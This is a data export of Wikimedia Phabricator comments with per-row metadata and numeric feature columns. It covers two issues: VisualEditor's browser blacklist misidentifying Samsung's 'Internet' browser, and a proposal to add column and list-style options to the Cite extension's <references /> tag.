496795,VisualEditor: Samsung browser fails the blacklist,"@jayvdb, which device did you notice this on, and what was the browser named? Just ""internet""? (Sorry, I know this is two years old!)",,,1437781263,,PHID-USER-vixhpqcaqfpdj6impfwy,False,,,PHID-TASK-cc7gmrf5ioc7lfjjvyzo,task_subcomment,,True,c1,3,True,,,107,,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,3.0,3.0,6.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,6.0,12.0,0.0,3.0,12.0,0.0,0.0,3.0,0.0,3.0,3.0,6.0,0.0,6.0,3.0,0.0,6.0,6.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3529411764705883,0.8529411764705882,"SCREEN_NAME, which device did you notice this on, and what was the browser named? Just ""internet""? (Sorry, I know this is two years old!)"
496794,VisualEditor: Samsung browser fails the blacklist,"@jayvdb, which device did you notice this on, and what is the browser named? Just ""internet""? (Sorry, I know this is two years old!)",,,1437781197,,PHID-USER-vixhpqcaqfpdj6impfwy,False,,,PHID-TASK-cc7gmrf5ioc7lfjjvyzo,task_subcomment,,True,c1,3,True,,,107,,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,6.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,3.0,3.0,6.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,6.0,12.0,0.0,3.0,12.0,0.0,0.0,3.0,0.0,3.0,3.0,6.0,0.0,6.0,3.0,0.0,6.0,6.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.323529411764706,0.8235294117647058,"SCREEN_NAME, which device did you notice this on, and what is the browser named? Just ""internet""? (Sorry, I know this is two years old!)"
238666,VisualEditor: Samsung browser fails the blacklist,Iv given the user-agent. It is the 'Internet' browser that ships with the device. It passes the vast majority on the compliance tests for content editable.,,,1373923134,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-cc7gmrf5ioc7lfjjvyzo,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,15.0,3.0,12.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,6.0,0.0,9.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9393939393939394,0.7575757575757576,Iv given the user-agent. It is the 'Internet' browser that ships with the device. It passes the vast majority on the compliance tests for content editable.
238662,VisualEditor: Samsung browser fails the blacklist,"Safari literally doesn't exist on Android phones; there is no such thing.

Some mobile browsers report themselves as compatible with Mobile Safari, which appears to be what you're seeing.",,,1373916976,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-cc7gmrf5ioc7lfjjvyzo,task_subcomment,,True,c1,3,False,,,2,,3.0,0.0,0.0,0.0,3.0,8.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,3.0,0.0,0.0,8.0,8.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.0,0.0,3.0,3.0,3.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,14.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,8.0,11.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,3.0,3.0,0.0,0.0,0.0,4.444444444444445,0.9444444444444444,"Safari literally doesn't exist on Android phones; there is no such thing.

Some mobile browsers report themselves as compatible with Mobile Safari, which appears to be what you're seeing."
238657,VisualEditor: Samsung browser fails the blacklist,Mobile Safari isnt just iOS.  It is the *default* web browser on many Android phones.,,,1373764759,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-cc7gmrf5ioc7lfjjvyzo,task_subcomment,,True,c1,3,False,,,1,,5.0,0.0,0.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,19.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,14.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.380952380952381,0.8571428571428571,Mobile Safari isnt just iOS.  It is the *default* web browser on many Android phones.
53260,Support editing <references /> tags to set multi-column display on/off,"For VisualEditor, we are continuously-bitten by <references /> tags that are embedded within generated content like the English Wikipedia's {{reflist}} (T52769). 

It would be much easier for everyone if we just moved the features provided by such templates into [[https://www.mediawiki.org/wiki/Extension:Cite|the Cite extension]] itself and allowed such templates to be replaced by the now more powerful <references /> tag.

Points of agreement include:
* The main requirements are for <references /> to support multiple columns and different list styles
** T33597 discusses defaulting to multiple columns for all reference lists
* Columns should be implemented using [[https://developer.mozilla.org/en-US/docs/Web/CSS/column-width|column widths]] rather than [[https://developer.mozilla.org/en-US/docs/Web/CSS/column-count|column counts]], to allow flexibility based on screen size.

This task is currently blocked, on the following issues:
* What the default settings/algorithms should be
* Whether column widths and list styles should be customizable per-page, or only per-wiki 
* If per-page customizations are allowed, whether they should be implemented by passing through CSS properties from the invocation of the <references /> tag or by applying CSS classes, which are then given CSS properties on a per-wiki or global level.

This would involve adding:

* columns (default to 1; a number between 1 and … another number? - not allowing width, obviously)
* list-style (default to decimal; just an escaped pass-through of the CSS list-style of the OL)

Then we could just bot-substitute uses of the template, and everyone would be happy.

**See Also**: T53145, T8019",Medium,50.0,1373662620,1505846752.0,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-USER-kve2ug5yc3dp6ighnmqk,False,PHID-TASK-p6rccw5cwglxrbbkmq2b,task_description,resolved,True,c1,3,True,False,False,1,,0.5,0.5,0.0,1.75,0.25,4.25,1.0,0.0,0.0,0.5,0.25,0.0,0.0,0.25,0.0,0.75,0.25,4.0,10.25,0.5,0.75,1.0,0.0,0.25,0.5,0.25,0.0,0.0,0.25,0.75,0.0,2.25,0.25,0.5,0.25,0.0,0.0,0.25,1.0,1.25,0.0,0.25,0.25,1.5,0.5,0.5,0.0,0.25,0.0,16.0,0.25,0.25,0.5,1.0,0.0,0.5,0.0,0.0,0.25,0.0,0.0,0.5,0.0,0.25,0.0,0.25,0.0,3.75,3.25,7.75,1.0,2.0,5.0,0.0,0.0,0.0,0.0,3.25,0.0,0.5,0.0,1.5,10.25,2.5,0.25,0.0,0.0,1.5,0.0,0.75,0.75,0.25,1.5,0.5,0.0,2.75,3.912978018669076,0.7052845528455285,"For VisualEditor, we are continuously-bitten by <references /> tags that are embedded within generated content like the English Wikipedia's {{reflist}} (T52769). 

It would be much easier for everyone if we just moved the features provided by such templates into [[URL Cite extension]] itself and allowed such templates to be replaced by the now more powerful <references /> tag.

Points of agreement include:
* The main requirements are for <references /> to support multiple columns and different list styles
** T33597 discusses defaulting to multiple columns for all reference lists
* Columns should be implemented using [[URL widths]] rather than [[URL counts]], to allow flexibility based on screen size.

This task is currently blocked, on the following issues:
* What the default settings/algorithms should be
* Whether column widths and list styles should be customizable per-page, or only per-wiki 
* If per-page customizations are allowed, whether they should be implemented by passing through CSS properties from the invocation of the <references /> tag or by applying CSS classes, which are then given CSS properties on a per-wiki or global level.

This would involve adding:

* columns (default to 1; a number between 1 and … another number? - not allowing width, obviously)
* list-style (default to decimal; just an escaped pass-through of the CSS list-style of the OL)

Then we could just bot-substitute uses of the template, and everyone would be happy.

**See Also**: T53145, T8019"
932969,Support editing <references /> tags to set multi-column display on/off,"Change 378935 merged by jenkins-bot:
[mediawiki/extensions/Cite@master] VE: Support 'responsive' attribute

[[https://gerrit.wikimedia.org/r/378935]]
",,,1505840824,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-p6rccw5cwglxrbbkmq2b,task_subcomment,,True,c1,3,False,,,220,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,10.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,3.8333333333333335,0.7333333333333333,"Change 378935 merged by jenkins-bot:
[mediawiki/extensions/Cite@master] VE: Support 'responsive' attribute

[[GERRIT_URL]]
"
932877,Support editing <references /> tags to set multi-column display on/off,"Change 378935 had a related patch set uploaded (by Esanders; owner: Esanders):
[mediawiki/extensions/Cite@master] VE: Support 'responsive' attribute

[[https://gerrit.wikimedia.org/r/378935]]
",,,1505835365,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-p6rccw5cwglxrbbkmq2b,task_subcomment,,True,c1,3,False,,,220,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,18.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,11.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,16.0,3.9473684210526314,0.7631578947368421,"Change 378935 had a related patch set uploaded (by Esanders; owner: Esanders):
[mediawiki/extensions/Cite@master] VE: Support 'responsive' attribute

[[GERRIT_URL]]
"
891461,Support editing <references /> tags to set multi-column display on/off,"FYI, I've added some support to en.wp's {{reflist}} to explicitly enable and disable automatic columns.
Next step for en.wp will be to enables responsive by default for a plain <references> element

This leaves the following capabilities that are specific to Reflist, which currently cannot be fulfilled with a plain references element
# Different list item counters
# Differing column widths (this one is also not really compatible with automatic columns, which will create a bit of a disjunct in behaviour).

This doesn't negate the fact that:
* of course reflist is already universally used, and universally changing it will probably be seen as disruptive.
* there is also a rather large documentation gap, atm. regarding new and old information.
* ironically, it seems that the responsive attribute cannot be set/unset from VE

An idea that played in my mind, which would be terribly WMF specific, but might make it easier to work with this problem, is if we should maybe change the VE editor of <references/> and the Template:Reflist, to be aware of each other, and maybe offer the opportunity to switch between them (""more options"", vs ""convert to references element""). Just a thought.",,,1499785680,,PHID-USER-wrimmmr5w2zt7nk2t753,True,,,PHID-TASK-p6rccw5cwglxrbbkmq2b,task_subcomment,,True,c1,3,True,,,210,,0.6666666666666666,0.0,0.0,1.3333333333333333,1.3333333333333333,6.666666666666667,1.3333333333333333,0.0,0.0,0.3333333333333333,1.0,0.6666666666666666,0.0,0.0,0.3333333333333333,1.0,0.0,6.666666666666667,9.666666666666666,0.0,1.6666666666666667,0.3333333333333333,0.0,0.0,0.3333333333333333,0.6666666666666666,0.0,0.0,1.0,1.3333333333333333,0.3333333333333333,3.3333333333333335,0.6666666666666666,1.0,0.3333333333333333,0.0,0.3333333333333333,1.0,0.6666666666666666,0.0,0.0,0.3333333333333333,0.0,2.6666666666666665,0.0,0.6666666666666666,0.0,0.6666666666666666,0.3333333333333333,12.666666666666666,1.0,0.6666666666666666,1.0,1.0,0.6666666666666666,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,2.0,0.3333333333333333,0.0,0.0,0.6666666666666666,0.0,4.666666666666667,4.0,5.666666666666667,1.0,2.3333333333333335,8.0,0.0,0.0,0.0,0.6666666666666666,5.0,0.0,0.3333333333333333,0.0,2.6666666666666665,9.666666666666666,2.6666666666666665,0.0,1.6666666666666667,0.0,2.6666666666666665,0.0,1.6666666666666667,2.3333333333333335,0.3333333333333333,1.3333333333333333,0.6666666666666666,0.0,1.3333333333333333,4.058967577627584,0.7701537858752081,"FYI, I've added some support to en.wp's {{reflist}} to explicitly enable and disable automatic columns.
Next step for en.wp will be to enables responsive by default for a plain <references> element

This leaves the following capabilities that are specific to Reflist, which currently cannot be fulfilled with a plain references element
# Different list item counters
# Differing column widths (this one is also not really compatible with automatic columns, which will create a bit of a disjunct in behaviour).

This doesn't negate the fact that:
* of course reflist is already universally used, and universally changing it will probably be seen as disruptive.
* there is also a rather large documentation gap, atm. regarding new and old information.
* ironically, it seems that the responsive attribute cannot be set/unset from VE

An idea that played in my mind, which would be terribly WMF specific, but might make it easier to work with this problem, is if we should maybe change the VE editor of <references/> and the Template:Reflist, to be aware of each other, and maybe offer the opportunity to switch between them (""more options"", vs ""convert to references element""). Just a thought."
559955,Support editing <references /> tags to set multi-column display on/off,">For VisualEditor, we are continuously-bitten by <references /> tags that are embedded within generated content like the English Wikipedia's {{reflist}} (T52769). It would be much easier for everyone if we just moved the features provided by such templates into the Cite extension itself and allowed such templates to be replaced by the now more powerful <references /> tag.

>Reference incidences (<ref>s) inside templates are an entirely distinct problem for VisualEditor to worry about, and this isn't about that. :-)

You're contradicting yourself, chuckle. I agree with the second statement, fixing VisualEditor's difficulties with templates is bug T52769. This proposal of a more powerful more powerful <references /> tag isn't going to help that bug because communities will still have various reasons for putting things inside various templates. If that's the purpose of this bug, it's a failure when it still gets templated.

This bug really only makes sense in light of something like //T33597: Render references list in multiple columns based on the number of items// which aims to add useful new functionality regardless of whether it's put inside a template.",,,1446974679,,PHID-USER-o7sy7j32bv4qerbqa3x5,True,,,PHID-TASK-p6rccw5cwglxrbbkmq2b,task_subcomment,,True,c1,3,False,,,122,,0.0,1.0,0.0,0.0,0.5,5.5,0.0,0.5,0.0,1.0,1.5,1.0,0.0,1.0,0.0,0.5,0.5,6.0,13.0,1.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.5,0.0,7.0,1.5,2.5,1.5,1.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,16.5,1.0,2.5,0.0,2.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,4.0,1.0,6.0,3.0,0.0,8.5,0.0,0.0,0.0,0.0,2.5,0.0,1.0,0.0,4.0,13.0,0.5,0.0,0.0,0.0,4.0,0.0,1.5,2.0,0.5,2.0,1.0,0.0,0.5,4.540322580645162,0.8064516129032258,"QUOTE

QUOTE

You're contradicting yourself, chuckle. I agree with the second statement, fixing VisualEditor's difficulties with templates is bug T52769. This proposal of a more powerful more powerful <references /> tag isn't going to help that bug because communities will still have various reasons for putting things inside various templates. If that's the purpose of this bug, it's a failure when it still gets templated.

This bug really only makes sense in light of something like //T33597: Render references list in multiple columns based on the number of items// which aims to add useful new functionality regardless of whether it's put inside a template."
484575,Support editing <references /> tags to set multi-column display on/off,This was discussed at the weekly meeting on 2015-06-30. We decided that it wasn't a priority for this quarter.,,,1435699557,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-p6rccw5cwglxrbbkmq2b,task_subcomment,,True,c1,3,True,,,104,,0.0,0.0,0.0,4.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,4.0,15.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,8.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,8.0,4.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,8.0,15.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.5384615384615383,0.8846153846153846,This was discussed at the weekly meeting on 2015-06-30. We decided that it wasn't a priority for this quarter.
419186,Support editing <references /> tags to set multi-column display on/off,It should be noted that mobilefrontend already does some CSS overrides here (setting a default column width).,,,1425310977,,PHID-USER-wrimmmr5w2zt7nk2t753,True,,,PHID-TASK-p6rccw5cwglxrbbkmq2b,task_subcomment,,True,c1,3,True,,,87,,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,10.0,5.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,4.65,1.0,It should be noted that mobilefrontend already does some CSS overrides here (setting a default column width).
332460,Support editing <references /> tags to set multi-column display on/off,@thiemowmde mentions T33597,,,1416834442,,PHID-USER-tqvzwasywo4a7bnuwuz4,True,,,PHID-TASK-p6rccw5cwglxrbbkmq2b,task_subcomment,,True,c1,3,False,,,73,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.333333333333334,1.0,SCREEN_NAME mentions T33597
332889,Support editing <references /> tags to set multi-column display on/off,Just to make this clear (since I was told to say this here rather than in Gerrit): 100% agree to what Krinkle and Gabriel said. See bug 31597 (T33597) for a much more elaborate proposal.,,,1416910461,,PHID-USER-u6ycqhfpa3k4yvlpxjt2,True,,,PHID-TASK-p6rccw5cwglxrbbkmq2b,task_subcomment,,True,c1,3,False,,,73,,2.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,12.0,17.0,0.0,5.0,0.0,2.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,17.0,2.0,2.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,5.0,0.0,2.0,17.0,10.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,3.619047619047619,0.8809523809523809,Just to make this clear (since I was told to say this here rather than in Gerrit): 100% agree to what Krinkle and Gabriel said. See bug 31597 (T33597) for a much more elaborate proposal.
332886,Support editing <references /> tags to set multi-column display on/off,Just to make this clear (since I was told to say this here rather than in Gerrit): 100% agree to what Krinkle and Gabriel said. See T31597 for a much more elaborate proposal.,,,1416910421,,PHID-USER-u6ycqhfpa3k4yvlpxjt2,True,,,PHID-TASK-p6rccw5cwglxrbbkmq2b,task_subcomment,,True,c1,3,False,,,73,,3.0,0.0,0.0,3.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,13.0,18.0,0.0,5.0,0.0,3.0,0.0,5.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,18.0,3.0,3.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,3.0,0.0,3.0,18.0,11.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,3.0,0.0,0.0,3.736842105263158,0.8947368421052632,Just to make this clear (since I was told to say this here rather than in Gerrit): 100% agree to what Krinkle and Gabriel said. See T31597 for a much more elaborate proposal.
237920,Support editing <references /> tags to set multi-column display on/off,Just to make this clear (since I was told to say this here rather than in Gerrit): 100% agree to what Krinkle and Gabriel said. See bug 31597 for a much more elaborate proposal.,,,1412760097,,PHID-USER-u6ycqhfpa3k4yvlpxjt2,True,,,PHID-TASK-p6rccw5cwglxrbbkmq2b,task_subcomment,,True,c1,3,False,,,66,,3.0,0.0,0.0,3.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,13.0,18.0,0.0,5.0,0.0,3.0,0.0,5.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,15.0,3.0,3.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,5.0,0.0,3.0,18.0,8.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,3.0,0.0,0.0,3.6923076923076925,0.8974358974358975,Just to make this clear (since I was told to say this here rather than in Gerrit): 100% agree to what Krinkle and Gabriel said. See bug 31597 for a much more elaborate proposal.
334669,Support editing <references /> tags to set multi-column display on/off,"I fail to see how it is in anyone's best interest to implement support for list-style and column sizes on an individual `<references>` list.

These are traditionally implemented in a `{{reflist}}` template on Wikipedia. That was by all accounts a compromise due to the limited capability they have inside a template. What people want is for stuff to just work. They don't actually want to specify it manually each time.

Adding this to the extension will improve nothing other than move it from a template hack to something we now have to support and maintain forwards.

There has yet to be given a valid reason for why anyone would explicitly, semantically, by intent, want one specific article to have its references in a certain number of columns or certain list item number style.

The number of columns should be determined by width, not hardcoded count. And while the latest patch uses width, it is still imho fundamentally flawed. Users don't want to hardcode this everywhere (authors will not know this even exists, leading to generally no single user actually using this feature other than power users, whom then have to write bots that fix it everywhere; or more likely, they'll just use another template that specified the width and list-style they agree on for that wiki).

If this were any other feature, it'd be obvious this is something for the software to provide as a convenience. Not a burden for the users. Based on design considerations, can make a reasonable choice for what the column width should be. And it can be improved as we collect more data and positively influence all readers.

While there may not be a perfect value, I know for sure the factors that make it less perfect don't vary by article. They vary by device, browser, etc. It will traditionally and up with authors using their personal preference for what looks right on their device.

The only thing that is probably in need of variation is list-style (based on content language), which, again, seems like something we can be much smarter about. If there isn't a way to get that already from the Language infrastructure, we can provide a config variable or mediawiki-message specifying the list-style for that wiki or language. One exception could be multi-lingual wikis, so maybe provide list-style as attribute indeed.


Note: Gabriels proposal for css classes is imho better than providing a hardcoded column-width, but per the above, we don't need either.",,,1417405037,,PHID-USER-sai77mtxmpqnm6pycyvz,True,,,PHID-TASK-p6rccw5cwglxrbbkmq2b,task_subcomment,,True,c1,3,True,,,74,,1.0,1.0,0.0,0.8,1.8,6.0,2.2,0.0,0.0,0.4,1.4,1.4,0.0,0.2,0.6,1.4,0.2,8.6,12.4,1.2,2.2,0.4,0.4,0.4,0.6,0.8,0.0,0.4,1.2,1.2,0.4,5.8,1.2,2.0,0.8,0.0,0.2,0.2,0.2,0.6,0.2,1.4,0.4,1.0,0.2,0.4,0.0,0.8,0.0,18.4,0.8,1.4,0.2,1.0,0.2,0.0,0.0,0.0,0.4,0.0,0.2,1.6,0.2,0.2,0.0,0.8,0.2,5.4,3.8,5.4,1.2,2.4,9.0,0.0,0.0,0.0,0.0,6.2,0.0,0.4,0.0,4.8,12.4,0.6,0.0,0.0,0.0,4.8,0.0,2.2,2.8,0.0,1.2,1.0,0.4,0.4,4.1387755102040815,0.7448979591836735,"I fail to see how it is in anyone's best interest to implement support for list-style and column sizes on an individual CODE list.

These are traditionally implemented in a CODE template on Wikipedia. That was by all accounts a compromise due to the limited capability they have inside a template. What people want is for stuff to just work. They don't actually want to specify it manually each time.

Adding this to the extension will improve nothing other than move it from a template hack to something we now have to support and maintain forwards.

There has yet to be given a valid reason for why anyone would explicitly, semantically, by intent, want one specific article to have its references in a certain number of columns or certain list item number style.

The number of columns should be determined by width, not hardcoded count. And while the latest patch uses width, it is still imho fundamentally flawed. Users don't want to hardcode this everywhere (authors will not know this even exists, leading to generally no single user actually using this feature other than power users, whom then have to write bots that fix it everywhere; or more likely, they'll just use another template that specified the width and list-style they agree on for that wiki).

If this were any other feature, it'd be obvious this is something for the software to provide as a convenience. Not a burden for the users. Based on design considerations, can make a reasonable choice for what the column width should be. And it can be improved as we collect more data and positively influence all readers.

While there may not be a perfect value, I know for sure the factors that make it less perfect don't vary by article. They vary by device, browser, etc. It will traditionally and up with authors using their personal preference for what looks right on their device.

The only thing that is probably in need of variation is list-style (based on content language), which, again, seems like something we can be much smarter about. If there isn't a way to get that already from the Language infrastructure, we can provide a config variable or mediawiki-message specifying the list-style for that wiki or language. One exception could be multi-lingual wikis, so maybe provide list-style as attribute indeed.


Note: Gabriels proposal for css classes is imho better than providing a hardcoded column-width, but per the above, we don't need either."
334668,Support editing <references /> tags to set multi-column display on/off,"I fail to see how it is in anyone's best interest to implement support for list-style and column sizes on an individual `<references>` list.

These are traditionally implemented in a `{{reflist}}` template on Wikipedia. That was by all accounts a compromise due to the limited capability they have inside a template. What people want is for stuff to just work. They don't actually want to specify it manually each time.

Adding this to the extension will improve nothing other than move it from a template hack to something we now have to support and maintain forwards.

There has yet to be given a valid reason for why anyone would explicitly, semantically, by intent, want one specific article to have its references in a certain number of columns or certain list item number style.

The number of columns should be determined by width, not hardcoded count. And while the latest patch uses width, it is still imho fundamentally flawed. Users don't want to hardcode this everywhere (authors will not know this even exists, leading to generally no single user actually using this feature other than power users, whom then have to write bots that fix it everywhere; or more likely, they'll just use another template that specified the width and list-style they agree on for that wiki).

If this were any other feature, it'd be obvious this is something for the software to provide as a convenience. Not a burden for the users. Based on design considerations, can make a reasonable choice for what the column width should be. And it can be improved as we collect more data and positively influence all readers.

While there may not be a perfect value, I know for sure the factors that make it less perfect don't vary by article. They vary by device, browser, etc. It will traditionally and up with authors using their personal preference for what looks right on their device.

The only thing that is probably in need of variation is list-style (based on content language), which, again, seems like something we can be much smarter about. If there isn't a way to get that already from the Language infrastructure, we can provide a config variable or mediawiki-message specifying the list-style for that wiki or language. One exception could be multi-lingual wikis, so maybe provide list-style as attribute indeed.


